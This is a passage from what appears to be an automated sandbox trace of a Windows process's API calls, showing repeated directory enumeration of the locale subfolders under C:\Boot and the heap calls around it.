cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0275.684] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0275.684] GetProcessHeap () returned 0xaf0000 [0275.684] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0275.684] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0275.684] GetProcessHeap () returned 0xaf0000 [0275.684] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0275.684] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fr-CA\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0275.684] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="..", cAlternateFileName="")) returned 1 [0275.684] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.685] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0275.685] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0275.685] GetProcessHeap () returned 0xaf0000 [0275.685] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0275.685] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0275.685] GetProcessHeap () returned 0xaf0000 [0275.685] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0275.685] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fr-FR\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0275.685] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="..", cAlternateFileName="")) returned 1 [0275.686] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13558, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.686] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0275.686] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0275.686] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0275.686] GetProcessHeap () returned 0xaf0000 [0275.686] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0275.686] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0275.686] GetProcessHeap () returned 0xaf0000 [0275.686] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0275.686] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\hr-HR\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0275.686] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="..", cAlternateFileName="")) returned 1 [0275.687] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.687] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0275.687] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0275.687] GetProcessHeap () returned 0xaf0000 [0275.687] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0275.687] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0275.687] GetProcessHeap () returned 0xaf0000 [0275.687] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0275.688] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\hu-HU\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0275.688] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="..", cAlternateFileName="")) returned 1 [0275.688] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13360, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.688] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0275.688] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0275.688] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0275.688] GetProcessHeap () returned 0xaf0000 [0275.688] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0275.688] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="it-IT", cAlternateFileName="")) returned 1 [0275.872] GetProcessHeap () returned 0xaf0000 [0275.872] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0275.971] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\it-IT\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0275.972] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="..", cAlternateFileName="")) returned 1 [0275.972] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.972] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0275.972] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0275.972] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0275.972] GetProcessHeap () returned 0xaf0000 [0275.972] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0275.972] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0275.972] GetProcessHeap () returned 0xaf0000 [0275.972] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0275.972] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ja-JP\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0275.973] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="..", cAlternateFileName="")) returned 1 [0275.973] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48c6596, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10760, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.973] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0275.973] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0275.973] FindClose (in: hFindFile=0xb02d08 | out: hFindFile=0xb02d08) returned 1 [0275.973] GetProcessHeap () returned 0xaf0000 [0275.973] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0275.973] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0275.973] GetProcessHeap () returned 0xaf0000 [0275.973] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0275.973] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ko-KR\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0275.973] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="..", cAlternateFileName="")) returned 1 [0275.973] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211c6af1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10560, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.974] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0275.974] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0275.974] FindClose (in: hFindFile=0xb02d08 | out: hFindFile=0xb02d08) returned 1 [0275.974] GetProcessHeap () returned 0xaf0000 [0275.974] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0275.974] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, 